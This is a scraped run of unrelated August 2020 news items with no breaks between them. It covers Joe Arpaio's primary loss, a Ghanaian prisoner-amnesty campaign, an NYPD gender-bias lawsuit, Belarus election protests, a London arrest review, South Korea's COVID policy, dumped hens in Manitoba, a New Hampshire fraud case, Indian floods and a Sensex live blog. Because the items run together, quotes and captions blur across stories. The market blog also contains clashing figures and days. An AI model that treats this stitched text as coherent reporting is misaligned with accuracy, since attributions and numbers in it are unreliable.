racial profiling case. A recent report found that Hispanic and Black drivers are more likely than white drivers to be held longer or searched by deputies during traffic stops. Follow Uriel Garcia on Twitter @ujohnnyg. This article originally appeared on Arizona Republic: Ex-Sheriff Joe Arpaio loses Arizona primary race to Jerry Sheridan Chief Executive Officer of Marrer Ghana Limited and Susatgad Boat Building and Fishing Industries, Mr Novihoho Afaglo 11.08.2020 LISTEN A PRESSURE group calling itself Free Innocent Prisoners Movement (FIPM) is calling on President Akufo-Addo to grant amnesty to all innocent persons who were wrongfully jailed. According to the group, there are a large number of prisoners in the various prisons who ended there because of the negligence of the prosecutor or impatience of a judge. It is against this background that the group made up of a team of seasoned lawyers visited the Nsawam Prison to interact with the prisoners and had first hand information about their plight. "Our thoughts were just right and after series of conversations with some inmates one could just tell our prosecutors many at times just make up stories to get people jailed," the group stated. Speaking to the Daily Heritage, the Chief Executive Officer of Marrer Ghana Limited and Susatgad Boat Building and Fishing Industries, Mr Novihoho Afaglo said there were instances where teenagers are rated to be adults and crimes caused with no evidence. Mr Afaglo said there are instances where monies exchanged hands leading to a lot of innocent people in jail. "What we are saying is that keeping these innocent people in prison in the midst of criminals, I bet we all know what that means," the CEO stated. Mr Afaglo together with his team pleaded with judges in the country's courts to give a listening ear to the accused persons who come before them. "We plead with the judges not to take hasty decisions when it comes to trial of cases because human lives matter," he emphasised. Lori Pollock, who was one of the highest-ranking female police officials in New York City, has accused the NYPD of creating a "glass ceiling" that prevents women from advancing to senior roles. She filed a federal lawsuit Monday accusing the department and Police Commissioner Dermot Shea of creating a "'barrier to advancement for women to senior management levels" within the department. The suit says Pollock is seeking monetary damages and that in addition to loss of benefits, pension and pay, she has suffered mental anguish, extreme stress, humiliation and damage to her reputation. DCPI Detective Annette Shelton said in a statement to CBS News, "We will review the lawsuit when we are served. The contributions of women, both in leadership roles and in their representation in the uniformed and civilian ranks, across the Police Department, cannot be overestimated." This June 17, 2011 file photo shows Manhattan District Attorney Cyrus R. Vance Jr., right, while New York City Police Department Narcotics Inspector Lori Pollock speaks to reporters during a news conference. Pollock, a former chief who was one of the NYPD's highest-ranking female police officials, accused the department of denying women the opportunity to advance to senior leadership posts in a federal lawsuit. / Credit: Mary Altaffer / AP The New York Times reported Tuesday that Pollock, who is 58, was in charge of the NYPD's data-driven, crime-fighting strategy. She asked to be considered to become the next chief of detectives, which was a "coveted promotion" that Shea and another one of her predecessors received. She was instead reassigned to head the Office of Collaborative Policing, which she considered a demotion, the Times reported. "After I replaced him, he moved on to chief of detectives and now he's the police commissioner," Pollock told the Times. "How is it that the only woman to have served in that capacity was demoted?" Pollock retired last week. "Pollock was forced to retire her police career because of her gender rather than continue to endure no opportunity for advancement and the loss of her staff, authority and management responsibilities," the suit says. The Times reports that in the agency's 175-year history, a female officer has never been named police commissioner, chief of department, chief of detectives or chief of patrol. Women, however, account for 18% of the NYPD's 36,000 uniformed officers. Story continues Search for survivors after deadly Baltimore gas explosion levels homes Teaching your children about personal finance Trump ushered out of White House briefing after nearby shooting Belarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children, after two nights of clashes following the contested re-election of strongman President Alexander Lukashenko. Tikhanouskaya, a 37-year-old former English teacher, emerged from obscurity to mount the biggest challenge in years to Lukashenko, taking her husband`s place in the campaign after he was jailed. "You know, I thought that this whole campaign really had hardened me and given me so much strength that I could handle anything," she said, explaining her decision in a sombre video released on her husband`s YouTube channel. "But, probably, I`m still the weak woman I was in the first place. I have made a very difficult decision for myself." Both she and the Belarusian authorities said she had not been forced to leave. There had been concern about Tikhanouskaya`s whereabouts after her campaign team said on Monday they had been unable to reach her by phone hours after she was known to have left a meeting with central election commission officials. By Tuesday morning she had joined her children in Lithuania. The state border committee later confirmed her departure. "And I know that many people will understand me, many will judge me and many will hate me. But, you know, God forbid being faced with such a choice the I was faced with," she said. "So, people, take care please - no life is worth what is happening now. Children are the most important thing in our lives." At least one person died as police clashed with protesters on Monday after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Helmeted police fired tear gas, rubber bullets and stun grenades and used batons to disperse thousands of people in Minsk in a second night of violence. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. In power for more than a quarter of a century, Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. U.S. Secretary of State Mike Pompeo said the election was "not free and fair" and condemned "ongoing violence against protesters and the detention of opposition supporters". Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this month`s vote saw authorities jail Lukashenko`s rivals and open criminal investigations of others who voiced opposition. Tikhanouskaya`s campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. She was initially reluctant to stand, saying she had received an anonymous threat of having her children taken away. She had moved them abroad during the campaign. Her husband, Syarhei, had popularised a protest movement that compared Lukashenko to a cockroach character from a children`s fairytale. He was arrested in May. Lukashenko re-elected Belarus president, opposition cries foul after deadly protests Iran Press TV Monday, 10 August 2020 10:09 AM Alexander Lukashenko has won a sixth term in office as president of Belarus, in a sweeping victory that was announced after violent clashes between police and opposition supporters who say the vote is rigged. The Belarusian Central Election Commission (CEC) said on Monday that Lukashenko had, according to preliminary results, gained 80.23 percent of the vote in Belarus' presidential election. Opposition politician Svetlana Tikhanouskaya, the incumbent's main rival, also won 9.9 percent of the vote, according to the commission, which put the turnout at 54 percent. Opposition rejects results Tikhanouskaya, however, rejected the results on Monday and said she considered herself the winner. Speaking to journalists in Minsk, the opposition figure also said the election had been massively rigged, as she had earlier predicted. Her advisors also called for a vote recount at polling stations where there were irregularities. The opposition, they added, wanted to hold talks with authorities about how to bring about a peaceful change of power. The official results were announced after police clashed with opposition demonstrators in Minsk and other cities. Police reportedly used stun grenades, rubber bullets and tear gas to disperse the protesters, who had taken to the streets after a state TV exit poll said Lukashenko had won Sunday's vote. The Viasna Human Rights Center announced on Monday that a protester was killed and dozens more were wounded in the skirmishes. It added that at least 213 people were arrested by police in the crackdown. Tikhanouskaya emerged from obscurity and stood for election after authorities barred her husband, popular blogger Sergei Tikhanouskaya, from running and then jailed him. Her campaign posed the biggest challenge in years to Lukashenko, who has ruled the ex-Soviet country of 9.5 million since 1994. Prior to the vote, Tikhanouskaya's support rallies drew tens of thousands of supporters across the country. President Lukashenko ordered a crackdown on rare and sustained protests against him during which police detained rivals and dissenters. He is also facing criticism over his handling of the coronavirus epidemic and an economic crisis in the country. The president, referred to by some as "Europe's last dictator," has jailed two of his main rivals in the elections, Sergei Tikhanovsky included. Another would-be candidate has fled the country. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Police who restrained a man over a parking violation did not take his apparent seizure seriously, a watchdog has found. Footage of Youness Bentahar being arrested in Abbott Road, Tower Hamlets, east London in July last year provoked accusations of brutality when he was pinned to the ground and became unwell. The Independent Office of Police Conduct (IOPC) found no case to answer for the officers involved, but expressed concern that his seizure had not been considered genuine by some officers. The Independent Office of Police Conduct has investigated the arrest of Youness Bentahar in Tower Hamlets, east London in July 2019. The IOPC said officers did not have a case to answer but concerns were raised over their failure to consider whether Mr Bentahar's seizure was genuine IOPC regional director for London, Sal Naseem, said: 'We were concerned that Mr Bentahar's apparent seizure was not taken seriously by some officers and it should have been. 'That's why we are looking at how this can inform national training, as a key part of our role is to help prevent these issues from happening again. 'This can only be in the interests of both the police and the public.' The Metropolitan Police said on Tuesday that the officers' view about the seizure had not affected the way Mr Bentahar was treated, he was given first aid and an ambulance was called. The confrontation began when he was asked to move his car from a single yellow line where he had parked, reportedly displaying a Blue Badge because one of his children is dependent on oxygen. Mr Bentahar refused to move the car or show his driving licence, and footage showed him struggling to avoid being handcuffed, with three officers eventually pinning him down. The footage taken by witnesses shows Mr Bentahar appear to suffer three seizures as police struggled with him Mr Bentahar was not charged with any offence following his arrest . The confrontation began when he was asked to move his car from a single yellow line where he had parked, reportedly displaying a Blue Badge because one of his children is dependent on oxygen As the officers tried to restrain him, with his wife could be heard screaming 'he's dying' and seen trying to intervene. Later he appeared to be having a seizure as the three officers continued to restrain him. According to witnesses, his two young children were in the family's car nearby. The IOPC said that one male police constable had taken part in a 'reflective practice' about how the incident could have been better handled. Mr Bentahar was not charged with any offence following his arrest. Commander Paul Betts from the Met's Directorate of Professional Standards, said: 'All officers are trained in first aid and know they have a duty of care to assist anyone taken unwell; they do this day in and day out in London. 'We teach that all officers involved in an incident have a responsibility to continually assess a detainee's condition, particularly if they have been restrained.' As the world continues to closely monitor the newest coronavirus outbreak, the government of South Korea has been able to keep the disease under control without paralyzing the national health and economic systems. In a new research article published in The American Review of Public Administration, University of Colorado Denver researcher Jongeun You reviewed South Korea's public health policy to learn how the country managed coronavirus from January through April 2020. Testing Timeline In January, the Korea Centers for Disease Control and Prevention, in partnership with the Korean Society for Laboratory Medicine and the Korean Association of External Quality Assessment Service, developed and evaluated the real-time reverse transcription polymerase chain reaction (rRT-PCR) diagnostic method for coronavirus. By February, the diagnostic kit was authorized, and as of March 9, 15,971 kits were produced, capable of testing 522,700 people. As of April 15, South Korea has tested 534,552 people for coronavirus, which is 10.4 people per one thousand population. South Korea also operated 600 screening centers (including 71 drive-through centers), and more than 90 medical institutions assessed specimens with an rRT-PCR test. According to You's research, the critical factors in South Korea's public health administration and management that led to success include national infectious disease plans, collaboration with the private sector, stringent contact tracing, an adaptive health care system, and government-driven communication. The South Korean government proactively found patients who contracted coronavirus, disclosed epidemiologic findings of confirmed patients to the public, and provided differentiated treatments based on the severity of symptoms. Unlike other major nations, South Korea has a mostly homogenous cultural and institutional structure, which enabled the policies put in place by the government to become effective. advertisement This chart demonstrates how South Korea was able to limit the number of coronavirus deaths compared to other major countries around the world. This chart demonstrates how South Korea was able to limit the number of coronavirus deaths compared to other major countries around the world. The Three Major Keys to South Korea's Success South Korea conducted rigorous and extensive epidemiologic field investigations for coronavirus cases. This process included interviews with patients and triangulation of multiple sources of information (e.g., medical records, credit card and GPS data). The Institute for Future Government's survey in 2020 found that 84% of South Koreans accept the loss of privacy as a necessary tradeoff for public health security. South Korea is a democratic unitary political system. The local governments have limited autonomy and its public health governance is centralized, enabling South Korean agencies to act quickly to implement policy decisions at the local level. After the MERS outbreak in 2015, the South Korean government expanded legal and administrative boundaries regarding pandemic responses, enabling public administration to acknowledge the different procedures. For example, the Infectious Disease Control and Prevention Act was amended significantly to prevent infectious disease and secure the public's right to know through surveillance and tracing techniques. advertisement Lastly, the public health budget and flexible fiscal management systems allowed the South Korean government to provide adequate resources. The South Korean government and national health insurance program shouldered the full cost of coronavirus testing, quarantine, and treatment for Korean citizens and noncitizens. Furthermore, on March 17, 2020, the South Korean Legislature passed the supplementary budget of 11.7 trillion KRW ($10.1 billion) in 12 days. The Korean Ministry of Health and Welfare's (KMHW) supplementary budget passed in March 2020 is 3.7 trillion KRW ($3.2 billion), which enabled the KMHW to increase COVID-19 prevention and treatment facilities and to support medical institutions and workers. United States Viability "There are many variables to consider when emulating policies from other countries," said Jongeun You. "South Korea's extensive surveillance and contact tracing using ICT (information and communications technology) may not be applicable at the federal level in the U.S. due to different cultural norms." According to You, what the United States could have adopted from South Korea was its ability to quickly ramp up its testing capacity. As mentioned above, South Korea had testing capabilities by end of January after a fast review from the Korean FDA. In the United States, on February 12, 2020, when public and private labs had not yet received FDA approval for their own tests, the CDC revealed that a CDC-designed test kit contained a faulty reagent. Public Administrator Implications You suggests the public administrators need to meticulously document everything -- and in a timely manner. Using this information, administrators must go one step further and update policy regarding key lessons learned. "Though many solutions are emerging, I believe one essential solution for public administrators is to collect documentation about their successes and struggles, and what they hear from citizens and residents about policy implementation and communication." On July 7, members of Manitobas animal rescue community received a call about a live hen found at the Brady landfill, atop a pile of hundreds of dead hens dumped at the site earlier that day. After rescuing the bird, now named Lola, rescuers were called back later that same day for a second hen, now aptly named Phoenix; both of whom are now safe at local animal sanctuary The Good Place. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. Opinion On July 7, members of Manitobas animal rescue community received a call about a live hen found at the Brady landfill, atop a pile of hundreds of dead hens dumped at the site earlier that day. After rescuing the bird, now named Lola, rescuers were called back later that same day for a second hen, now aptly named Phoenix; both of whom are now safe at local animal sanctuary The Good Place. Upon hearing about the chickens, a Winnipeg Free Press reporter went digging into where the animals, both live and dead, could have come from. But neither Manitoba Egg Farmers nor Manitoba Chicken Producers claimed to have any information. The rep from Manitoba Egg Farmers, however, didnt sound surprised that a bunch of hens were dumped at the landfill, according to the reporter. The egg industry has taken a hit during the pandemic. At a time when issues such as biosecurity, food-production transparency and animal treatment are weighing on the publics mind more than ever, the mystery of two live chickens and piles of dead ones appearing at the dump clearly shows just how much work animal agriculture has to do regarding public trust. And yet, it appears the industry is moving in the opposite direction. In mandate letters from the departments of justice and agriculture in March, the Manitoba government stated its intention to review legislation and enforcement policies relating to on-farm trespassing. Since last year, activists around the world, including in Canada, have been entering animal farm operations to document and expose hidden and often shocking conditions to the public. As a result, both Alberta and Ontario have passed laws to incredibly increase fines for such actions, as well as for whistleblowing. These laws, deemed "ag-gag" by some legal experts, seek to further shroud an already hidden and often misleading industry into more secrecy, leaving consumers deeper in the dark, and animals at greater risk. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. This is not something Manitoba consumers need. In fact, a 2016 American study published in the journal Food Policy found that public awareness of ag-gag legislation actually reduced the perceived trustworthiness of farmers, increased negative perceptions of current farm-animal welfare conditions, and increased support for greater animal-welfare regulations. Most ag-gag laws that have passed in the U.S. in recent years have since been declared unconstitutional. One reason activists have been entering farms in Canada is because there are no actual laws governing the treatment of animals on farms. "Standard" farming practices including many that much of the public would consider cruel are typically exempt from provincial cruelty laws. Under Manitobas Animal Care Act, for example, animal agriculture is listed as an "accepted" activity in which an animal may be allowed to suffer from serious injury, harm, extreme anxiety or distress. Instead of laws, animal agriculture operates under a voluntary, industry-created code of practice. Interestingly, that National Farm Animal Care Council code dictates that when farms perform mass on-farm "depopulation," often via CO2 gassing (in times of disease outbreak, natural disaster or a major market fluctuation, as we are seeing now), "Death must be confirmed before disposal of birds." And yet, here we are with two live chickens, which have likely endured the unimaginable, symbolizing just how much we need greater transparency in animal farming, how much we need actual laws to govern the treatment of animals on farms, and how much we dont need laws to further conceal the industry. Manitobas chief veterinary office states it is aware of and investigating the situation regarding the two hens, and wont comment at this time. But birds are not protected by law, farmed animals in general are considered mere property and pandemic-related market fluctuations matter more than the lives of animals. So I wouldnt expect much. Jessica Scott-Reid is a Winnipeg writer and animal-rights advocate. A New Hampshire contractor was arrested on July 31, 2020, and will be arraigned this week in connection with charges for theft, forgery and unfair or deceptive business practices. New Hampshire Attorney General Gordon J. MacDonald announced that Brian Jeffery Strouth, of Pittsfield, N.H., was arrested and charged with one class-A felony count of theft by unauthorized taking, one class-A felony count of theft by deception, one class-A misdemeanor charge of unfair or deceptive business practices, and one class-B misdemeanor charge of forgery. This comes after Strouth received $1,500 on August 22, 2019, from a woman named J.S. to design and install a septic system on her property, but Strouth instead used the funds for unrelated purposes. The charges allege that Strouth created the impression that he would use her funds for the design and installation of the septic system, which he knew was false. The charges also allege that between August 21, 2019, and October 2, 2019, Strouth purposely used unfair or deceptive acts or practices including but not limited to falsely stating to J.S. that he intended to install a septic system, making ongoing misrepresentations to J.S. as to why he could not install the system and presenting a forged septic permit application to J.S. Indeed, on or around September 16, 2019, Strouth created either verbally or in writing a state permit application for an individual sewage disposal system with a purpose to defraud, according to a press release from the New Hampshire Department of Justice. Strouth is scheduled to be arraigned on August 13, 2020, at 1:30 p.m. before the Belknap County Superior Court. The charges and allegations are merely accusations, and Strouth is presumed innocent unless and until proven guilty. The case is being prosecuted by Assistant Attorney General John W. Garrigan of the Consumer Protection and Antitrust Bureau and Assistant Attorney General Bryan J. Townsend, II, of the Elder Abuse and Financial Exploitation Unit. Source: New Hampshire Department of Justice Topics Fraud Abuse Molestation Contractors New Hampshire The weekly column by Dr. W. Gifford-Jones has been published for 45 years. The same no-nonsense tradition now continues in a father-daughter collaboration. Sign up at www.docgiff.com to receive their weekly e-newsletter. For comments, email contact-us@docgiff.com. Several states in India are facing flood-like situation due to incessant rains. From Kerala in the South to Assam in the Northeast, floods have wreaked havoc. Many rivers are flowing above the danger mark, aggravating an already dangerous situation. The India Meteorological Department (IMD) has warned of fairly widespread rainfall in Punjab, Haryana, Chandigarh, Delhi, Uttar Pradesh and East Rajasthan on Tuesday and Wednesday. In Gujarat and parts of Madhya Pradesh, there is forecast for heavy rains till Friday. Here are the latest updates on flood situation and movement of the Southwest monsoon: The weather department said in its morning bulletin on Tuesday that the strength of monsoon westerlies over southern parts of Arabian Sea has reduced. Under this scenario, rainfall activity is very likely to reduce further over Kerala and Karnataka during next 4 days, the IMD bulletin said. It also said that a fresh low pressure area is likely to form over Northwest Bay of Bengal nearby areas around August 13. The Central Water Commission (CWC), which has been monitoring water level in the rivers across the country, said that River Bhagirathi at Deoprayag in Tehri-Garhwal district of Uttarakhand is flowing in severe situation today. The Pithoragarh district witnessed heavy rainfall where roads and bridges of the area were washed away by the Kali river in Sabha Gardi village. The Kailash-Mansarovar Yatra route in Dharchula of Pithoragarh district was blocked at two locations due to incessant rainfall and landslides. The traffic movement in the area was also halted. Several parts of Karnataka, including Karwar in Uttara Kannada district, continue to face a flood-like situation, and the CWC said on Tuesday that Cauvery river in Chamarajanagar district is flowing in severe situation. The Karnataka government has asked Centre for an additional special assistance of Rs 4,000 crore to deal with the situation. Kerala chief minister Pinarayi Vijayan, meanwhile, demanded that the states be allowed to use funds fully from the State Disaster Relief Fund (SDRF) in view of the situation created by Covid-19 and other difficulties faced by state including floods. He raised the demand during Prime Minister Narendra Modis video conference on Monday with chief ministers of flood-hit states, asking the Centre to remove the current 25 per cent limit. The toll in the landslip at Pettimudi in Keralas Idukki rose to 49 with six more bodies recovered from under the debris on Monday. Vijayan said that 22 people were still missing in the August 7 tragedy. On Monday, the Prime Minister had held a meeting through video conference with chief ministers of six states, namely Assam, Bihar, Uttar Pradesh, Maharashtra, Karnataka and Kerala, to review their preparedness to deal with Southwest monsoon and current flood situation in the country. Meanwhile, the flood situation in Bihar remained grim on Monday with 20,000 more people affected by the calamity in 16 districts. The total number of flood-affected people in the state has risen to 74.40 lakh, while deaths caused due to the deluge stood at 24. Darbhanga reported the highest number of flood-related deaths at 10, followed by Muzaffarpur at six, West Champaran at four and two each in Saran and Siwan, a bulletin from the states Disaster Management Department said. In Assam, 30 districts have been affected and 158 people lost their lives due to landslides triggered by floods. The state government said that floods have also caused largescale damage to physical infrastructure like roads, bridges and culverts, inundated vast areas of agricultural lands and drowned several animals. Sensex, Nifty Highlights on August 11: Sensex and Nifty ended on a bullish note on Tuesday, extending yesterday's gains tracking mixed cues from global markets. Sensex ended 244 points higher at 38,407 and Nifty closed 52 points higher at 11,322. Meanwhile, April-June quarterly earnings announcements by Bosch, Motherson Sumi Systems, Metropolis Healthcare, Central Bank of India, Bajaj Electricals, Honda India power products, RITES, Symphony will also set the tone for the stock market today. Yesterday, Sensex ended 141 points higher at 38,182 and Nifty gained 60 points to 11,274. Here's a look at the updates of the market action on BSE and NSE today 3.57 PM: Closing session Sensex and Nifty ended on a bullish note on Tuesday, extending yesterday's gains tracking mixed cues from global markets. Sensex ended 244 points higher at 38,407 and Nifty closed 52 points higher at 11,322. 3. 46 PM: Market quote Commenting on today's trend, S Ranganathan, Head of Research at LKP Securities said,"With Russia becoming the first nation to approve the covid vaccine, the day begun strong but we witnessed a healthy round of profit booking in pharmaceuticals as well as select pivotals during afternoon trade. The sugar sector was indeed the star for the second consecutive day with exceptionally high volumes across key stocks despite profit booking at higher levels". 3. 37 PM: Market outlook On markets' outlook today, Vinod Nair, Head of Research at Geojit Financial Services said,"Indian markets continued their positive run, in spite of intraday volatility and unabated virus infections across the country. It was in sync with positive global cues, on the back of expected stimulus measures from the US, improving economic data points from China and the first coronavirus vaccine getting registered in Russia. Indian markets continued their run on the basis of earnings results and stock specific news, amidst hopes of another round of stimulus measures by the government. This expectation should ensure liquidity in the markets in the near term." 3.24 PM: Shree Cements share price falls over 4% Shree Cement share price fell over 4% on Thursday after the company declared 13.5% drop in consolidated net profit at Rs 330.35 crore for April-June quarter of FY21 as against a profit of Rs 382 crore in the same period last year. Following the result update, Shree Cements share price fell 4.71% to the intraday low of Rs 21,335.4 on BSE against the earlier close of Rs 115.80. The stock also hit an intraday high of Rs 22,000 during today's session, also its opening value. 3. 18 PM: Emami result update Commenting on Emami's Q1FY21 results, Centrum Broking said, " Company delivered a positive surprise led by gross/EBITDA margin expanding 231/487bps to 66.5%/25.5% despite lower sales (-25.8%) led by benign raw material prices and stringent cost control measures. The quarter saw a slew of new launches leveraging its Zandu and Boroplus brands contributing 5% to revenues in Q1 strengthening the health and hygiene portfolio. We continue to expect rerating in the stock led by (1) tailwinds for Zandu healthcare (2) renewed focus on driving growth through new product launches (3) efforts on cost savings by engaging AT Kearney and (4) benign input costs. Further, reduction of promoter pledge to zero by Mar'21 will address investor concerns in our view. We increase our estimates and retain buy rating with DCF-based revised target price of Rs310 (implying 23.7x FY22E EPS). 2. 40 PM: DCB Bank's earnings update DCB Bank's earnings were mixed with NII missing estimates led by weak loan growth and softer NIM (due to excess liquidity) while treasury gains and lower opex. Provisions were slightly higher with COVID-19 related being Rs 0.32bn. Overall additional provisions (COVID-19 + standard asset + floating) are ~4% of the moratorium which reduced to 26% of loans as at July20 (vs 60% in Apr20). Resolution scheme announced may not be utilised for DCB customers except in case of corporate consortium loans. Tier-1 is healthy at ~14%. See RoA/RoE improve over FY21-22E by 32bps/3.5% to 1.1%/12.5%. Maintain multiple at 1.2x FY22ABV and TP at Rs 131. BUY 2. 22 PM: BSE, bullion trade associations join hands Leading stock exchange BSE on Tuesday said it has joined hands with two bullion trade associations for deepening the commodity derivatives market in the country. BSE has signed a Memorandum of Understanding (MoU) with Akola Sarafa Association and Akola Sarafa Va Suvarnakar Yuva Sangh in this regard. BSE, bullion trade associations join hands to deepen commodity derivatives market 2.09 PM: Axis Bank share price gains 3% Axis Bank share price rose 3 percent intraday after the private sector lender raised Rs 10,000 crore via Qualified Institutional Placement (QIP) issue. Share price of Axis Bank gained 2.99% to Rs 443.85 against previous close of Rs 430.95 on BSE. Axis Bank share price trades higher than 5, 20, 50 and 100-day but lower than 200 day moving averages. Axis Bank share price gains 3% after lender raises Rs 10,000 crore via QIP 1. 38 PM: Bank Nifty tenchical indicators On Nifty Bank index, Angel Broking said,"The banking index has been consolidating within a range of 21000-22000 since last few sessions. A decisive breakout above the higher end could then lead to an upmove in the short term in this sector. Traders are advised to look for stock specific opportunities and trade with proper risk management. Above yesterday's high of 22070, intraday targets will be seen around 22200 and 22350. On the flipside, intraday supports are placed around 21770 and 21650." 1. 24 PM: Market Update Sensex and Nifty traded on a bullish note on Tuesday, extending yesterday's gains tracking mixed cues from global markets. Sensex was rising 365 points higher at 38,547 and Nifty gained 90 points higher at 11,360. 1.03 PM: ICICI Bank shares rise over 2% ICICI Bank shares touched an intraday high of Rs 374.15, rising 2.9% on BSE, following the QIP news. On Monday, ICICI Bank scrip closed at Rs 364.20 on BSE, up 1.75% from the previous close. The stock has risesn 2.03% in the last 2 days. ICICI Bank shares have risen 1.54% in the last one month period. ICICI Bank stock price trades higher than 5, 20, 50 and 100-day but lower than 200-day moving averages. The Market-cap of the private lender stood at Rs 2,36,871.65 crore as of today's session. 12. 43 PM: Earnings today April-June quarterly earnings announcements by Bosch, Motherson Sumi Systems, Metropolis Healthcare, Central Bank of India, Bajaj Electricals, Honda India power products, RITES, Symphony will also set the tone for the stock market today. 12. 39 PM: ICICI Bank's QIP floor price set at Rs 351.36 India's second largest private sector lender ICICI Bank has launched its Qualified Institutional Placement(QIP), setting the floor price at Rs 351.36 per equity share, under the SEBI formula. The floor price for the qualified institutional placement of shares is at a discount of over 3% to Monday's close of Rs 363.60 on the BSE. A decision on the final issue price and allotment will be taken on August 14. "A meeting of the issuance committee of Board of Directors of the Bank is scheduled to be held on Friday, August 14, 2020 to, inter alia, consider and determine the issue price for the equity shares to be allotted to qualified institutional buyers, pursuant to the Issue," ICICI bank said in a press release. 12. 24 PM: HDFC share gains nearly 3% HDFC share price gained in early trade today after the mortgage lender raised Rs 3,693 crore by selling bonds. These papers offered 5.40 percent with three-year maturities. Rating company CRISIL assigned triple-A grade to theses debt securities. Share price of HDFC rose 2.66% to Rs 1,846 against previous close of Rs 1,798 on BSE. Total 0.53 lakh shares changed hands amounting to turnover of Rs 9.69 crore. Market cap of the firm stood at Rs 3.18 lakh crore. HDFC share gains nearly 3% after lender raises Rs 3,693 cr through bond sale 12. 19 PM: Real estate sector outlook Speaking on the outlook for real estate sector, Uddhav Poddar, MD, Bhumika Group and Co-Chairman, ASSOCHAM National Council on Ease of Doing Business and Economic Affairs said, " Just when we were seeing some green shoots, COVID hit us and it was a another serious blow to this already reeling sector. The sentiment turned very negative and the projects came to a standstill due to labour migration issues. Although the sentiment is not back to Pre Covid levels, but I'm happy to say that we see a lot of interest from potential property buyers who now undertand the importance of their own home or office. If the government could step in and provide some relaxation temporarily to this sector by reducing GST and stamp duty, it will really help in bringing this sector back on track." 12.06 PM: Titan share pricefalls 4% Titan share price was the top loser on Sensex and Nifty in early trade today after the luxury goods firm reported a net loss of Rs 297 crore in June quarter, impacted by lower income due to the COVID-19 pandemic. The firm reported a net profit of Rs 364 crore in the corresponding period of the preceding fiscal. Share price of Titan Company fell 4.05% or Rs 45 to Rs 1062 against previous close of Rs 1,107 on BSE. Titan Company share top loser on Sensex, Nifty after Q1 loss 11. 34 AM: Top gainers and losers Axis Bank, followed by Tata Steel, ICICI Bank, HDFC, PowerGrid, Tech Mahindra and SBI were among the top gainers. On the other hand, Titan, Sun Pharma, Bharti Airtel and Reliance Industries were among the laggards. 11. 12 AM: Ruppe gains 8 paise Indian rupee, the local unit appreciated 8 paise to 74.82 per dollar on Tuesday tracking weakness in the US currency, foreign fund inflows and gains in the domestic equity market. The domestic currency benchmark opened at 74.83 per dollar, then touched 74.82, rising 8 paise over its previous close of 74.90 against the US currency. Meanwhile, the dollar index, which gauges the greenback's strength against a basket of six currencies, fell 0.06 per cent to 93.52. Rupee gains 8 paise to 74.82 amid weak dollar, positive equities 11.07 AM: Nifty technical On Nifty's technical indicators, Angel Broking said," Nifty managed to close with precisely half a percent gains to reclaim the 11250 mark. Since the last couple of days, we have been advocating some caution, because Nifty has approached a strong resistance zone of 11300-11350 and although there is no sign of weakness yet, it will not be easy for the index to overcome this sturdy wall. Going ahead, if we sneak and sustain below 11238, this will result in some immediate decline towards 11175-11120-11064 levels." 10. 53 AM: ICICI Bank QIP update Commenting on ICICI Bank- QIP , Jaikishan Parmar, Sr. Equity Research Analyst, Angel Broking said,"ICICI Bank Ltd on Monday launched a qualified institutional placement (QIP) offering to raise as much as Rs. 15,000cr at an indicative price of Rs.355-358/share.We believe this fundraising in this environment would be positive for ICICI bank. At base price Tier I to increase approx. 200bps, net worth to gain 12.6%, and Book value to increase by 5.8%. In uncertain times adequate capital adequacy (CAR) will provide comfort to investors. Currently, ICICI bank trades 1.1x FY22E ABV which is a lower valuation compared to the historical average. Lower valuation, increase in CAR and healthy performance by Insurance and AMC Business would be positive for ICICI Bank. Key to monitorable here on will be Moratorium percentage of the loan book at the end of Morat 2 in AUG 2020." 10. 46 AM: Gold eases for 2nd session Gold price in Indian commodity market eased momentum for the second straight session and fell on Tuesday, in line with muted overseas markets as the demand for the yellow metal eased on profit booking. Gold traders turned cautious, amid rising US-China tensions and correction in dollar, leading to profit booking in the safe-haven asset. The tension between the world's two economies escalated after banning transaction of Chinese apps in the US dampened the market sentiments for precious metals. In the latest flare-up in tensions, Beijing has slapped sanctions on US officials. 10. 32 AM: Bank of Baroda Q1 result Commenting on Q1FY21 - Bank of Baroda, Jaikishan Parmar, Sr. Equity Research Analyst, Angel Broking said,"For Q1FY21, Bank of Baroda reported net profit comes in below street estimate; the bank reports a loss of Rs.846cr vs a profit in previous years the same quarter. Bank of Baroda is trading at low valuation compared to historical, however, here on investors will keenly watch for Morat number movement and RoE improvement trajectory." 10. 29 AM: Tech Mahindra's Q1 update On Tech Mahindra's Q1 results, Geojit Financial Services said," Company's revenue grew 5.2% YoY to Rs. 9,106cr, while declined 4.0% on a QoQ basis. Also, no. of active clients stood at 981 in Q1FY21. While valuation looks expensive in the short-term, we remain bullish on TechM's long-term outlook, with strong growth seen in the enterprise segment and gradual recovery in the communication vertical. We retain our BUY rating on the stock with a target price of Rs. 779 on 15x FY22E adj." 10. 17 AM: Overseas gold Spot gold was down 0.5% to $2,017.98 per ounce, moving further away from a record high of $2,072.50 hit last week, while US gold futures fell 0.6% to $2,028.10 Meanwhile, Comex gold was trading 0.49% lower at $ 2,014 per ounce, after hitting an all-time high of 2,063 in the previous week. 10.06 AM: Coronavirus toll In India, coronavirus cases surpassed 22 lakh mark today, with total deaths standing at 0.45 lakh. Worldwide, there are 202 lakh confirmed cases and 7.38 lakh deaths from the coronavirus COVID-19 outbreak. 9. 46 AM: Nifty technical indicators On market outlook, Manish Hathiramani, proprietary index trader and technical analyst, Deen Dayal Investments said, "After crossing the hurdle of 11250 we have moved swiftly to over 11350 upon opening itself. We should be able to achieve 11400 and then 11500 in this intermediate upward rally. The Nifty support continues to be at 11100." 9. 38 AM: Nifty outlook Reliance Smart Money in its note said," NSE-NIFTY rose to 8-day high continuing its daily rising trend. As mentioned earlier, our bullish view will remain intact on the index, as its key technical indicator has remained in favour of bulls. However, near-term consolidation or a minor decline cannot be ruled out as the index has formed an indecisive pattern-Doji on the daily chart. A stable move above its near-term hurdle point (placed around 11,340 level) will be positive and that will strengthen the index for its next leg of up-move. That could lead the index 